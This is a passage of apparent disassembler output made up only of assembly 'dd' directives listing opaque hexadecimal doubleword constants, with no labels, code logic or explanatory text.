24DBF7F6h, 40213414h, 514A73DCh, 4FFF2D4Ah, 0E3567C78h dd 72E8D28Dh, 3F218FCBh, 6F05C829h, 0E6FB7E95h, 0F3F6D7ACh dd 0D0B1E2Dh, 6EF3ED38h, 1D4C41F8h, 0F0A54EEAh, 0C3DF8420h dd 4FA1F1B9h, 500541E3h, 540A76AEh, 0E32F2DB2h, 49D756C2h dd 0C86B6C24h, 6D7EA51Ah, 0AEF86FFFh, 0E6B4E9E0h, 0BCEF23C0h dd 5C656B1Ah, 0DA0E9347h, 1ED28B22h, 0BB06E074h, 0E5472B5h dd 51A09B8h, 9807186h, 0BE4EB67Eh, 5BDE0917h, 0C051B5F8h dd 53C79C01h, 2795F22Bh, 7094FF5Eh, 0F2107325h, 0FFC107BBh dd 0C442291Bh, 5B41FC1Dh, 0A4A4DBA9h, 39708CD7h, 0C25E5695h dd 0AE40F6DEh, 37935658h, 25855825h, 3CDE19D1h, 5AA46858h dd 124ECB7Dh, 18568BE9h, 4A0077ACh, 6889BB53h, 2BFE443Ah dd 47070BBFh, 32E98523h, 422AD95h, 4068F0ABh, 4A52C6BFh dd 0EA3F4E02h, 0D4C4E966h, 25B802CDh, 78E0B10Ch, 0C0829C88h dd 0B59BD3C8h, 51C71D54h, 91EA06C5h, 608AEDA8h, 0CC2320Fh dd 0C01E53AFh, 80725721h, 8BF42F05h, 7BBC455Bh, 0DAF8EB02h dd 2DF09FBh, 0D17BB049h, 0BEAF9672h, 0A177D1D2h, 2E7368D8h dd 9DCB3A78h, 42164463h, 0F1B36CF5h, 0B4D5F989h, 8342B7ACh dd 52218BF7h, 36C737CAh, 0F2C69E0Ah, 539F62E7h, 0F9F70CEFh dd 4C9D6B72h, 0A78A83D8h, 891D7C7Bh, 0BF76B3F2h, 5DA2CF62h dd 5CC0725Eh, 0B41C4721h, 0A6E985D1h, 628BBB3Eh, 5C7AD40h dd 29189A01h, 8EB10C5h, 76B9444Fh, 88B8B4FDh, 4CB9711Eh dd 445547C9h, 4664C64Ch, 665F5413h, 697765A8h, 0C872303h dd 6BF43D01h, 117C79D0h, 1AA3D616h, 0EF043D46h, 8D891EB0h dd 80639A1Fh, 0A365902Fh, 0B5B93C5Ah, 31215F8Bh, 322002F0h dd 0D001125Ch, 0EDC2FA05h, 76F97F5Ah, 1231188h, 0E2C1DA87h dd 0DEAA2005h, 0D96BBAFAh, 0DBC07D62h, 76BFEA81h, 1DF6271Ch dd 6E0DD709h, 890A72Ch, 290B170Dh, 0A24B96EBh, 0B2D6753Eh dd 20A0942Fh, 4D1F4481h, 836C2E0Ch, 7996024Bh, 4708800Fh dd 0B10C0B44h, 340C488Bh, 21C2910h, 91F55F2Ch, 39075E2Ch dd 258EF9ACh, 440A4116h, 0E81C81Eh, 0F4E946F8h, 0BE760B3Ah dd 25A06357h, 827D0857h, 0FCEDE904h, 0C7501253h, 50781F0h dd 11A12E62h, 0AAE90700h, 5F92A409h, 832265Dh, 30F9B702h dd 4B19E9FDh, 229E9C5h, 0C13C602Ah, 81050322h, 4F59402Ah dd 0CB5B11ACh, 0D5E985B1h, 6862F1B9h, 21C42865h, 9A63DB0Fh dd 0C1F969D5h, 58DCBD3Fh, 214D26FCh, 0C54C13BAh, 0E0CDE118h dd 5E95AF34h, 65BD82Ch, 0B2026B5h, 0B9510219h, 3C0C5ABDh dd 6BA3A2E1h, 78ED7512h, 0AC6AA84Bh, 68510B5Ch, 0EC60D3Ch dd 1915860Eh, 2E0B2105h, 0F87E164Eh, 9F2A4C93h, 72B4B816h dd 0BC601609h, 0F05B017Dh, 2CC08AE2h, 5CAE63FCh, 0C6DD02C2h dd 1FCC18DAh, 8124E674h, 2125FA28h, 0DB0D5EF5h, 0CDE90C38h dd 555D2516h, 80AC87EEh, 1D2DE913h, 59DB8FBCh, 2FF8F7E2h dd 51EF881Ch, 64EDCE8h, 0AF7D13h, 8DE4915h, 20FBC389h dd 0ECBDFE6Ah, 0A10979Dh, 82FFE522h, 0B0D991D7h, 35C055F8h dd 999F178Ah, 0D534C6E5h, 8E025C0h, 3D6BDE62h, 44B071C8h dd 1C7E6697h, 1E16D1F7h, 2C61C90Dh, 25011329h, 0EB50107Eh dd 65CCAA04h, 0A982786Bh, 98C57FC7h, 0C9347425h, 689484h dd 28E45B8h, 65FE97A2h, 0C8E8510Dh, 64604667h, 3980748Eh dd 0C149E938h, 7478663Ch dd 2010C0F0h, 0EDC05AF5h, 6951052Fh, 0C83F598Fh, 0C14F835Dh dd 90922CABh, 0F5F3CD60h, 4A64297Bh, 31E8F083h, 32FBC84Bh dd 0A5D4BF3Eh, 0B685A02h, 16554649h, 0EFEA8852h, 0E2817CC1h dd 93875801h, 0B847E43Bh, 0E803652Ch, 7026A704h, 8C4B20A4h dd 0F85F5E38h, 0EF2B4725h, 0EF43A849h, 4F48CE6Eh, 209118B2h dd 0F1E9D90Bh, 685C7AA3h, 0C3A9AB8Ch, 937EC92h, 9C3E950h dd 6A45D73Ch, 0BAFB123Fh, 0F0E039FEh, 5E136AABh, 7B0B566Ch dd 4CB7122Eh, 41D6B762h, 5842A693h, 0C039EAD1h, 809CDAB5h dd 225AE68h, 302E3867h, 235BBF36h, 695BA1A8h, 0D9AB49C5h dd 0F1882A81h, 0F5DB440Ch, 4AB52C90h, 0D1627790h, 806B04F6h dd 0C93A4A4Fh, 0B8BE007Fh, 818036C5h, 211239EEh, 0B8076E6Ch dd 32F5190Bh, 1AA3D4EAh, 14071C08h, 0ED2929E9h, 68E9E07Eh dd 0CB3FAE45h, 0D1AF0EF1h, 144AA246h, 2C8DB101h, 535266EAh dd 0B5A1872Ch, 77A2422Dh, 86AF050Bh, 4E9E7ABh, 5453E1F7h dd 0DF8483ECh, 15BD1407h, 3E8CA40Ah, 0EA35A6F9h, 825C4760h dd 0F1811A21h, 1C410D43h, 0E1236E9Fh, 972EA1E5h, 0E1BC873Fh dd 2186D2EAh, 7F9897A1h, 2D58DBA2h, 79DBFD5Ah, 18266D98h dd 56FB89Ah, 99EE2AE3h, 14B23AB7h, 0E141A895h, 0D1F1A845h dd 0D530BB89h, 8187DB75h, 0B15E7CF6h, 0ACD1400Bh, 7726D345h dd 2D160E53h, 93094EDh, 0BCF813Dh, 59A52216h, 26D7A10Dh dd 39F73A60h, 0DD787C44h, 1E51C518h, 0F57E89Fh, 80309157h dd 0DB2A22CBh, 0E04B5F45h, 1F161404h, 6FFC011Dh, 73BE5680h dd 579D4D1Ch, 0ACF6C720h, 724BA84Bh, 0DB2E60ACh, 0FB318A4Fh dd 8C3212B8h, 3911BCDCh, 810743D3h, 214C59E9h, 2ACD2948h dd 4D0CE8Eh, 1E7CE909h, 5B0390F5h, 1B330272h, 275EC9BAh dd 0B0A5B985h, 0E4A06664h, 0AC34B6Bh, 4D73D4CBh, 543B2EA4h dd 950EC72Fh, 49025DC9h, 1E57E64Dh, 4F17DE3h, 0E92A5F0Fh dd 1E1A845h, 49EA055Ah, 107F148Fh, 884A075Bh, 45B52C64h dd 5057808Dh, 396FE468h, 39EF58E0h, 7E7851CBh, 56AB77D7h dd 0EDD52749h, 3AE989DAh, 50875056h, 169429B4h, 0DD5F9DD2h dd 0ABC320A3h, 55531216h, 0BB8A7CE8h, 5BD88B4Ch, 0B15DE425h dd 9EF26EE8h, 5E5C18Fh, 2A60BE56h, 5F726E6Bh, 5130E13Bh dd 45E3D60Dh, 9A3DEB92h, 0C524E82Bh, 0E6BB78B6h, 0FE9C24Ah dd 521EFC7Ah, 2564E775h, 0E90B465Bh, 68422291h, 6727D4FBh dd 0A93D31BEh, 4CAA3B4Ah, 0BDC30533h, 567D99AAh, 0E0BC50CAh dd 0BDFCDED2h, 0C33C3501h, 2E89FAAAh, 0FE5ABCD2h, 40684374h dd 0D668AAC5h, 9E4197h, 7165F2EEh, 8401A031h, 0AA04BA3Eh dd 0C2066E1Ah, 97AB7D6Ch, 30249C7Ch, 2DF5BF81h, 0BE84189h dd 28D9927h, 6BB35E7Dh, 73498FCh, 1EDA608h, 0AA407BBAh dd 14EEE82Bh, 80DA6AB7h, 6F8986F5h, 5EE5E785h, 0DFC3C03Ah dd 8C588FD9h, 65363798h, 12AAB964h, 7FCBEBBEh, 68320E6Bh dd 0D2529E54h, 0E6EA25DBh, 80502039h, 0CD55A7C6h, 5927E91Fh dd 4352D487h, 1750D181h, 9C821409h, 0BFEF50F3h, 8C9035CEh dd 0A6724C0Ah, 8828D662h, 5F300B92h, 2A20E858h, 50295BA4h dd 0E9160817h, 2ABBD24h, 4B03B2EBh, 0A0AA761Ah, 88A5BE08h dd 68006D1Eh, 6E956625h, 0D1EA58h, 2D35993Ah, 4B650C60h dd 6320050Bh, 4246023Bh, 0CC7B5716h, 0FA7F9E3Dh, 0AFA84FFEh dd 0C76DF9B8h, 0A77D31CFh, 54096287h, 0A2B58042h, 0BD0CCBF6h dd 0AD967BE9h, 302B5B51h, 878658E4h, 0CE31A803h, 7706CBE9h dd 4EED1279h, 20C9FC8Eh, 0F280280Ah, 86762093h, 0F082298h dd 24077534h, 836E0857h, 58FCB801h, 1FE8239Fh, 0A9D597AAh dd 0F3495FD3h, 6A166FFCh, 208F2DFAh, 0E04E1A64h, 0EC82034Eh dd 4AED7EEAh, 0C63784DEh, 9DF62825h, 2998282h, 0FCAB6668h dd 9C03BF4Ah, 86F58864h, 87383F11h, 7CD6AEF7h, 813FBB18h dd 0A737BCC1h, 0D0B77272h, 1AB120A8h, 0F6E9DA0h, 421D9324h dd 0F465520Bh, 81E1537Ah, 2F552D37h, 0F8B55C2h, 12C20374h dd 9D4A74DFh, 2A29C97Eh, 0BB72178h, 568957CAh, 0DAC5F976h dd 0DBBFE2D1h, 0F47F0920h, 16FAB467h, 7909EF30h, 49187EEAh dd 5EB97D80h, 207CE231h, 0FDB6EC7Dh, 0FDDDF7E2h, 16C24A60h dd 4BA5280h, 71623507h, 25C8FB89h, 8691C25h, 3E9C9BEh dd 2EC2BD48h, 0BB3CE413h, 20F8D6AAh, 5ADEFE69h, 6B9F074Bh dd 7B8B57D2h, 0E5BF6557h, 0A51C10F6h, 76CFCE02h, 0B3573F13h dd 0B227F204h, 0BBC416Bh, 0A8FDEA04h, 0F8EAEE0Bh, 8B4F5678h dd 0FFB59AE4h, 0D69C3D62h, 0B568FEC2h, 9D5C7268h, 0DDA34998h dd 31BBEED7h, 0F5595C07h, 281B8196h, 2DC280CAh, 28DC9A62h dd 73C3FEB2h, 0FAE9B087h, 0D4C8A248h, 0A25514BDh, 82285284h dd 0AF50BE48h, 1BAD2D5Fh, 17252350h, 1285964h, 27AD79Eh dd 0BF65301Ch, 0F8C67602h, 0D1F001E9h, 0FC5B2793h, 490BD52Dh dd 0E7DFB762h, 879F0858h, 89CA2905h, 27FAC8F4h, 9B7C3926h dd 9E321D38h, 40D0F7C6h, 0F1E91706h, 5A614106h, 917E5F68h dd 334CED4Fh, 9BF8DC19h, 134370E0h, 3E89719Ch, 4EC6C4Ah dd 119766Eh, 5A87C2D1h, 0FA343459h, 0B902FCF7h, 14FFE21h dd 0A07359DFh, 9DDEAE0Ch, 0F3C2E1D4h, 1F67FF53h, 3B21B433h dd 0F350A327h, 66B72753h, 4A139CD0h, 12FFCF08h, 604CEF14h dd 0F4B9F1DDh, 509EE33h, 0E44A23BFh, 92D0FA71h, 5E53E9FAh dd 0A21DAC82h, 7F5F1168h, 4FE4C117h, 0FEF52CE4h, 4C6A6086h dd 0F0B702A6h, 0BEE9739Bh, 1E873E6Ah, 0A213837Fh, 0E5F7AE4Eh dd 91D02F44h, 0C8599327h, 0CBE44CE4h, 57525A5Ch, 0B829084Eh dd 690CE02Eh, 0FF127290h, 6F8006E9h, 72E1D15Dh, 19E20B81h dd 0C1504671h, 1028374h, 0B668D9F7h, 0FEDBE603h, 0D84A9F0Eh dd 0F0717578h, 4CDCD882h, 68802D66h, 43F6265Bh, 65FC5A4Ah dd 0FF07CA12h, 0C8EAEF40h, 97911F68h, 0FB220EF2h, 1ED317Ah dd 0DBC0BF06h, 2BA66419h, 0BA3EE3D1h, 0D80A0113h, 714BD963h dd 5FC7043Ch, 0C8298169h, 5907422Dh, 4CAE9077h, 9E0A40Fh dd 0CE53DBCAh, 0C2FFAB09h, 204C5867h, 6805438Ch, 44C31BD6h dd 66A6B8B3h, 0E0FD3E20h, 34659FEBh, 0DB522DBDh, 509B0927h dd 0EE8F971Ah, 62CDCB9Ch, 709C8C83h, 9F0C2CAFh, 0AF1F442Ch dd 0BFDB15h, 6611C180h, 945F9C68h, 303941EEh, 0B2D9F2F1h dd 0B23B04E9h, 7F1D2D02h, 0E95A0161h, 1B11F4C2h, 0E3AE1AD2h dd 60EF9684h, 235068BBh, 5F2A55C4h, 84045A02h, 9CD78EF5h dd 2F935D9Fh, 4C6444C3h, 0D310FBA6h, 0BD5C3CDAh, 0D6F7A54Dh dd 940194F9h, 444B553Eh, 0D25B0CD2h, 0C6C1EE45h, 83D72AF3h dd 1FD12CE5h, 0EC24CF80h, 885112C7h, 6DA08F9h, 0DFCE0109h dd 25006CDAh, 341C477Ah, 0F706762Dh, 0CC6CF9D7h, 933A3429h dd 8F3B396h, 6C921BCFh, 347189EFh, 800A20C8h, 0F01BE956h dd 1A51538Dh, 0C849FB79h, 5834145Bh, 1F49BE04h, 9B538715h dd 12882789h, 0F742270Bh, 8431517Fh, 0FE3FD168h, 9691C999h dd 0B3C60272h, 577DD935h, 98689940h, 0FDE3245Fh, 3125BE02h dd 0CF4029E7h, 78EA67DDh, 63EFE912h, 0DF17B2EFh, 0D644808Fh dd 92DF99A2h, 885CB022h, 2558E524h, 32BA5416h, 9754DD2h dd 62E0D94Dh, 5AD55066h, 0DD5D2D76h, 216101BAh, 71EE3A5Ah dd 3FD97DEAh, 0BD0218DDh, 58F1A04Eh, 64D2D40h, 89D5958Dh dd 29989CC7h, 5FC28DC9h dd 5695F4F8h, 0E8DF4B10h, 0EE805B87h, 0D92824A7h, 43DC3AABh dd 0E8B9837Eh, 26A06F0Ch, 4F494321h, 0D6465B3h, 96A6EB56h dd 5E94CA4Eh, 0AF96D4A2h, 0BA4B0D8Bh, 40BD7D38h, 0DD26F651h dd 5C17F250h, 0C4803080h, 0B3531C0Bh, 0D6DC185Fh, 0E5E0D6EDh dd 58EAC5FCh, 38472C39h, 51E80EE3h, 0A2AEB2B5h, 0B412D33Ch dd 0F2CBC05Eh, 273DDCCFh, 9C19F0h, 0FF59CDC2h, 88B071C5h dd 3E3C08Dh, 4ACB8007h, 0F3A9DBF6h, 5B0F30E4h, 8433CFE1h dd 9449EA4h, 0C4E916AEh, 34270C7Ch, 0D9CE24C1h, 0FCD12DFBh dd 2F53DACBh, 1B796768h, 0F60187ACh, 0E96EDF18h, 0EB841DE5h dd 0B8FED88Dh, 0A3528536h, 4E7BF68Ah, 57D7C2D1h, 0CC6B0E3h dd 19685909h, 62985427h, 3AAA3BEEh, 4A2F0F6Fh, 44647Fh dd 0D4D9071Bh, 0E5D18E9h, 17AD5BDDh, 58EF8B4Eh, 0ACC0532h dd 0EE15E9h, 0C046B536h, 7A9D2165h, 0E274B74Ah, 0FC22D54h dd 0DFDAE0DCh, 3145A571h, 0EB478A81h, 0F9EE8F44h, 0B9939F7Eh dd 0B07A7CE1h, 0CA40C7D5h, 5168155Ch, 429EBC01h, 1EE13414h dd 739FAAF6h, 0B8D3E020h, 5A110461h, 585D2A68h, 1270B026h dd 0EBF2B1E9h, 5924EB8Bh, 0A4D9E459h, 9307C10Dh, 4918273Dh dd 6D59F170h, 8350288Fh, 0D1F724DCh, 0F0670206h, 62753353h dd 23F17523h, 38807117h, 0F0D9315Eh, 0C8BF5E5Bh, 0E75F46C0h dd 0C5C3D6B8h, 52EAA31Ah, 61B0F180h, 0EAFE1C98h, 889CAFDh dd 74CB6E5Eh, 1CF57A07h, 0FD024A60h, 58E08429h, 4BAB41AFh dd 2E113D40h, 8170E2C7h, 252790CBh, 15F0EC4h, 0CF77929Fh dd 87F929E1h, 6526042Fh, 20041607h, 0A21B1CC1h, 20593C4h dd 6817B5EEh, 39E65601h, 0AFDCFE4Ah, 0F4164EC3h, 13078838h dd 0F78112DDh, 2C5C7FD1h, 2917660h, 6834462Ah, 0DBA219A9h dd 0EB253B0Eh, 80DEB1AFh, 272AE8B4h, 5A31590Fh, 0E528BFD8h dd 171B23Ch, 4CB3773Eh, 7A4337E9h, 0F72E70DDh, 27644D7Dh dd 0BF4758BFh, 29C4FE4Eh, 81A00BE9h, 5F13B0ADh, 0DEA1ED87h dd 0ABA962CBh, 0DAB10578h, 55BF793h, 5E5738C8h, 0A28D1A32h dd 5AD8080Ch, 5075101Fh, 6105F397h, 0EDA408B8h, 5B364023h dd 5F955972h, 5023490Fh, 0C4C20FB4h, 2F5AB61h, 0E9E97704h dd 8006A01Ch, 6880D672h, 2DB0A487h, 0C8640B33h, 16B1B74Ch dd 33FF5EF9h, 0E8C6F510h, 0DDEAF84Bh, 0D12F22D7h, 0D5CFC9FEh dd 0B66CFBACh, 0DC14F797h, 0C5082394h, 0EAD217AAh, 0D5D07D45h dd 5A8FA9E8h, 215B762Dh, 0D9B82F9Ch, 0A685264Bh, 7C671625h dd 74296F55h, 0ED7F6EABh, 2506A18Ch, 0D8E91C59h, 4F68177Ah dd 2360BB64h, 0B6D3792h, 1C5B809h, 0C1C2A409h, 24B9FAC0h dd 422F760Bh, 884B8E49h, 0ED227DAh, 4A94A4C6h, 0F6812515h dd 0DA496CD4h, 0C4844B08h, 174E841Eh, 3F1FF1E2h, 0EF5A29A3h dd 0C32DF060h, 0B250505h, 0D555F001h, 6161AB6Ah, 605F264h dd 80FA9F2h, 3560AB3Ch, 66FEF089h, 6EDF1EC9h, 0C00C58D8h dd 41E9B80Bh, 60D96C0Dh, 7D8FD4BEh, 43014AC6h, 7963E9C5h dd 0A2BF2602h, 40186146h, 580FA7FEh, 6616405Ch, 83A1F3FDh dd 10071868h, 19746B1h, 8DCC3548h, 2F614163h, 0D8CD8E61h dd 0FF61C43Ah, 7757C50Bh, 44D5B1EAh, 25CF982Dh, 0D0FC2B3Fh dd 0BDCAEF50h, 0A6822A46h, 221EB67Fh, 0DE63C902h, 0A85710F6h dd 0B9F289B8h, 827D69EBh, 8BD2F7E5h, 54ED61F6h, 45351070h dd 79252C0Dh, 0EF09BD73h, 0F64D5D45h, 0F4E5814Ch, 0D827A20Eh dd 97ED50F5h, 5EC75534h, 31E61CD1h, 7B4102Fh, 2F3AE91Fh dd 0FCA30AE9h, 0BF3D602Dh, 6F0E97A8h, 0CCB01A17h, 738D1335h dd 0AEB1AAE4h, 59E62C40h, 12E39E9h, 3EE64CC6h, 529F9606h dd 7BB56DA4h, 0C39604Dh, 0C5C6E6BBh, 0C34A01F0h, 548F8BBCh dd 0A72A5A25h, 225325FCh, 0C5CF90F9h, 8B5813E5h, 44D51050h dd 0CE0C663Eh, 0E60A389Dh, 5139C73Dh, 0C61084C9h, 5F8165A2h dd 18965EF3h, 0CC440BD3h, 167CFF5h, 9C5E2DC7h, 33F52F2Fh dd 75B90807h, 0E9850047h, 0ACBCE5EEh, 68D4B092h, 0E6187025h dd 312709ABh, 0F6583B1Dh, 0F4146105h, 0E6C15041h, 9E683C78h dd 0EB729FC1h, 320201Bh, 929CE926h, 0D88C499Dh, 27090CD6h dd 54E81C57h, 0FE5BEC75h, 0B2681942h, 0F0E55D01h, 0F859E989h dd 9DC092A8h, 5BB1FFEDh, 0AA05E2B6h, 0AE96CA8Ah, 4BBEFE41h dd 302E3AE8h, 1EE946ADh, 20BB584Eh, 1F7F684Ch, 0E531FD2Fh dd 5531376h, 246C0690h, 9D0FC019h, 0CEBDFEDEh, 90D9862h dd 1D2729C4h, 3A1E0280h, 1EB00EFBh, 2BC9B04Bh, 4702B16Fh dd 3A25D075h, 0EA7C3123h, 3E02215Ah, 5FFEE8EFh, 7929EBB9h dd 145D581Ch, 0C1F8F6F9h, 664EC981h, 7ABE26D9h, 0E74F6701h dd 46503E9h, 806194EAh, 0DA18E4C3h, 0E60C2877h, 0BA4E484Ah dd 213D0DA6h, 2E862973h, 0A381CDA0h, 7B2026EBh, 56283465h dd 0EF2B1608h, 28C92761h, 9357C215h, 0F6256D78h, 989F5E1h dd 69DFD37Dh, 0EC6278D1h, 9F6809DEh, 0F9959ED2h, 0B7DAF47h dd 4BF979E7h, 2FCF6757h, 0DB8A2AD1h, 5827A5D1h, 5E090F22h dd 0BE84EC42h, 0D2B3D078h, 0C7A3D787h, 0C48650F0h, 1790F595h dd 20B1CD92h, 6703C5E8h, 2653AA4Bh, 1FA75F32h, 2A180B41h dd 7427AFD6h, 0E06BE80h, 364ACE5Fh, 0E277CD0Bh, 14797478h dd 8402DB06h, 31309DFEh, 47D838Bh, 0FB90558Bh, 45A355Bh dd 19FD627h, 0BD6694C6h, 471F16D7h, 0E66731BBh, 0C5B392BCh dd 0C1F86FEh, 52BDE97h, 0E466C8E9h, 0DA9521B7h, 40773F8Bh dd 9098432Ah, 0C7C30457h, 0C013870Bh, 77066B28h, 0EE002E4Ah dd 0AEC6A8EBh, 0A9315ACDh, 2BA9790h, 1A7D68D4h, 4EAF6E48h dd 2B971CB6h, 121181EFh, 0C172682Dh, 6B3B1351h, 9076A93Bh dd 27E24E0Ch, 7EFC5710h, 99256577h, 81C4796Ch, 57126FFBh dd 0BEC6053h, 6F7ADD82h, 0FCF8567Dh, 0EE7DB360h, 17186E47h dd 0A4F72940h, 0B904C71Ch, 59503426h, 8CF0CDFAh, 3D96DC54h dd 7CB12EFh, 4884EBBAh, 35CA26C0h, 14F1690h, 89A10DAh dd 9A19E909h, 543132F7h, 131702BCh, 0F3400697h, 0A1277E25h dd 211F0F2Dh, 4166E80Dh, 1DC11082h, 0E18279DAh, 0C90F95B1h dd 3C265B59h, 0EB4E43D9h, 5313568Eh, 0F33F40D0h, 4E111E0Fh dd 65F583BDh, 0DDFBA486h, 5A642039h, 744C9EF0h, 0CBEB09CAh dd 789D82B6h, 1140A2Ch, 7F2B2D77h, 50E2529h, 0F701BA08h dd 78DB0725h, 0A0E89940h, 1042065h, 1F7AE913h, 9D037188h dd 0ED55CD0Bh, 1CF4A205h, 0E5F1353Eh, 7680D3BAh, 3CE20C60h dd 0B6D00176h, 0CCE90C08h, 0A04262ECh, 704EDBD7h, 0FD5A0E0h dd 78882F02h, 54ADF50h, 1F8643E8h, 810C97A5h, 0D63A6158h dd 157E1729h, 1005ED78h, 68160B9Ah, 0A59EC7F0h, 0E3B4EB87h dd 2B4C187Fh, 0B84B0D5Eh, 0FE93912h, 4EF7B5B0h, 1792BAD7h dd 0F5C39289h, 6E14D00Bh, 26436816h, 8281BF35h, 983CEFB5h dd 0C5253E9Eh, 45CFC8F4h, 54BC1CB3h, 21A50193h, 3E0E2F71h dd 1ED5083h, 2AB95142h, 682E4594h, 58F84EB4h, 0E9CAB417h dd 0ABAD5E28h, 0E448BCD3h, 179D21BFh, 0A15DA8CFh, 86C9185Eh dd 9DAA30F8h, 2D8F7F28h, 984F0954h, 1C2D4093h, 0FA843067h dd 1FBE885h, 0ADEDC262h, 25875D04h, 0C0BFEB4h, 0BAE3975h dd 8713FB78h, 18C2F63Ch, 0C137CECBh, 0BEDADE58h, 0C5FFD7A5h dd 0D4E9C176h, 0B62E8208h, 0F5F08821h, 0C89516F1h, 0C113DC95h dd 0A0350CEAh, 72B5BE4Bh dd 81562AB8h, 371F12A4h, 41B102h, 0E30EE907h, 2495B9Ch dd 0C4D950A2h, 2CE6096Fh, 817DF233h, 0F003082Bh, 756AA242h dd 7EE21B20h, 144A0A11h, 0FB5B03ACh, 73FA7674h, 0D490A2h dd 0C7064F68h, 5B586Fh, 1B41150h, 319038F9h, 2C6CE9CBh dd 0F516507Eh, 0C6418EF0h, 0D3B84689h, 3A53AAFh, 0F03F8588h dd 9BFEC7Ch, 6402731Dh, 3BF4EE56h, 3D15DCBEh, 41D65110h dd 0A0246CB2h, 91415A68h, 0B0508091h, 0C3885305h, 0E10DE919h dd 0F16B093Ch, 8D8CC87h, 0D441AF25h, 86620960h, 0B02E8904h dd 0D2092D1Dh, 13703Fh, 17F8FA45h, 6A0A01Dh, 3B6B281Bh dd 11F601C1h, 0E944C43Fh, 2889823Dh, 5F5A66F0h, 689338FCh dd 5B09C5D5h, 5E79A598h, 16A47888h, 0AB272542h, 0C041799h dd 0ECBC3683h, 19574F09h, 34013C7Eh, 0C5890706h, 0C2018918h dd 98AEA88h, 57F7FAFh, 80BC58EAh, 0CD3CE9B0h, 0D9D7DDA2h dd 0C56885C7h, 0F6C3456Eh, 30388DDAh, 2B09C782h, 0A666EC17h dd 0B0576D6Ah, 13EB7329h, 0AA01D47Fh, 804A0C4h, 20FB72E9h dd 0FEEF404Ah, 4AF4E781h, 90EC9F2h, 0C9DD520Bh, 296C290Fh dd 0F8674A74h, 972E61Dh, 4F9B6EECh, 2792CEDDh, 0D6719184h dd 6C32D5C9h, 61E87155h, 6AB45CE9h, 273F9B2h, 688A9F4Ch dd 9D51FA89h, 1C55D6AFh, 17F76FCEh, 8BE90534h, 5BA3BDFBh dd 0EC457EB5h, 0E28A50BBh, 917D6204h, 0F387BF23h, 522F33FDh dd 0F2E6AFD2h, 104EA34Eh, 970EF149h, 677ED8F7h, 0DF8F8B57h dd 5B0961B6h, 0F6645468h, 1A82D2FFh, 946B85Bh, 0E114FF95h dd 0D8B8584Ah, 473A3B1h, 10CA2E80h, 0F0444EA7h, 0CF40D98Eh dd 5D650BBAh, 13075561h, 14E2122Dh, 1EE96C55h, 0E45F3A15h dd 0FC12584h, 5BE32B8Bh, 0E912C390h, 0B4CB52DEh, 0EB4B8705h dd 5035CFABh, 974047D9h, 0B068175Fh, 4F0FB30Eh, 291B04EAh dd 0F4041244h, 72D13D49h, 824D5DE8h, 0B7C402F4h, 0FAB58564h dd 675197B4h, 382062h, 0A70D3B9h, 0F3F0215Ah, 0DE7502C1h dd 0CF295995h, 5E3E1C1h, 4F435080h, 0BB1C5CEFh, 7D6B205h dd 1330A8CCh, 1DABD2F7h, 0D5C36F22h, 5D00C0ACh, 0C4B8CD9Ah dd 98FB1220h, 853A4E32h, 20C8AA0Fh, 405FB042h, 5AEC531Bh dd 5876D460h, 0C43E2E68h, 0FBC803B5h, 0E35A7561h, 5DFB6800h dd 3CAA3AE1h, 0CA5DE90Dh, 5AC54A85h, 78B0EBB8h, 69300D6Fh dd 7098EE42h, 0D8345CC8h, 0C4D63912h, 11F8FA62h, 19C5B4A5h dd 42215Fh, 0F7774D8Fh, 20C7600Ah, 0E37AC108h, 0E4F768F6h dd 81F7AFE9h, 0F750534h, 0DE54321Ah, 5BDE0711h, 0E9819AF7h dd 73FF41E7h, 0D40113D5h, 384E80D0h, 0D2A75B2Ch, 0A963F724h dd 15ED69A0h, 507DE6A2h, 0C1199ED0h, 5414A4E9h, 0DF80FBD4h dd 28719DCAh, 2CEE10A7h, 0B710C27h, 0D704D601h, 8852022Fh dd 0D879E1C6h, 90DD7707h, 0D6F659EEh, 0F57A517Fh, 5A3AEB78h dd 6013080h, 94F2E920h, 0D7BE0706h, 0C1170477h, 0DD79114Fh dd 32FC8001h, 29ED8E50h, 32D595F1h, 4ED5841h, 3174EF8h dd 0C2E5E35Ah, 4906A368h, 64759628h, 0B26EA82Ah, 5EDDD01Dh dd 79D9A85Dh, 5756B969h, 95BA85E0h, 93AE709h, 7EEC8F9h dd 4754B446h, 0FC339550h, 15AC5B3Fh, 57F451A2h, 77B831A5h dd 0D3D14C2Ah, 0F1BF5A21h, 0A0EC650Dh, 57904E72h, 0C8652717h dd 33F88BCh, 0EA2DB193h, 1AD2AA31h, 0C17ABA06h, 0C530830h dd 9D0929DBh, 0BE9C2458h, 0FFD8210Bh, 3E20A2ECh, 0F729270Fh dd 0FE177804h, 0DF859E15h, 0F05C4B17h, 66D3D81Dh, 0A540DD4Fh dd 8537D531h, 0F763F0E2h, 4FB6E0C6h, 7D28CFA0h, 0F05FF47h dd 314DDD3Bh, 0D2059980h, 65CB2D46h, 0AC28B256h, 5F539D1Fh dd 331D0FB0h, 204A6A07h, 2D0820C3h, 4F42FAE9h, 4A8F73FDh dd 3348C914h, 0AB83C8E4h, 0A30B4BDFh, 0BFA24ECAh, 8F72C34Bh dd 5B4C2AC0h, 0CB0C00B5h, 0B4F3D9Bh, 8EBC167h, 0DFFB4503h dd 8AF8BEFCh, 0C12DFB5Ah, 0AD2A216h, 1E31391Bh, 250F2CBAh dd 7B5EDC39h, 412A68A1h, 0DD1F8590h, 2ED2E24h, 0C97CE90Dh dd 90D82EBAh, 1A152568h, 0FA20F8C6h, 0DAE92D52h, 779DA258h dd 53EFEE9Ch, 1FB35F86h, 0F0F1F4DDh, 5BCE6017h, 810149ACh dd 210729F3h, 0CACF2056h, 4BC27B39h, 8DB10BBh, 41C03150h dd 95DEC214h, 5865279Ah, 1C51A0ECh, 69ADB68Fh, 74F1582h dd 6A71457h, 66A0B652h, 9C5BD168h, 595BBBC2h, 0C7F70BB3h dd 68513220h, 9162F9Ch, 44BB5943h, 13F735CEh, 0FB46DEE8h dd 0A2E98162h, 0DF5D1A75h, 72C0044Ah, 0B84E1D6Bh, 62A33080h dd 0B02D58FCh, 4D1C4E82h, 0CDE990C0h, 99975518h, 318868CCh dd 857CCB16h, 77090218h, 5A264BD1h, 0BF586858h, 1F41A59Ah dd 1DA23D5Ah, 781B6F5Eh, 56FCF241h, 264C2C2Fh, 0B8078571h dd 0ED028151h, 607CF17Ah, 0D112210Eh, 2EBC9DCBh, 55945A02h dd 0F689FD29h, 0BB0046F8h, 56AF3A46h, 25627FBAh, 615FD331h dd 9978D4F7h, 0D3DDF71Dh, 0F88924A6h, 8F262EFFh, 85B35342h dd 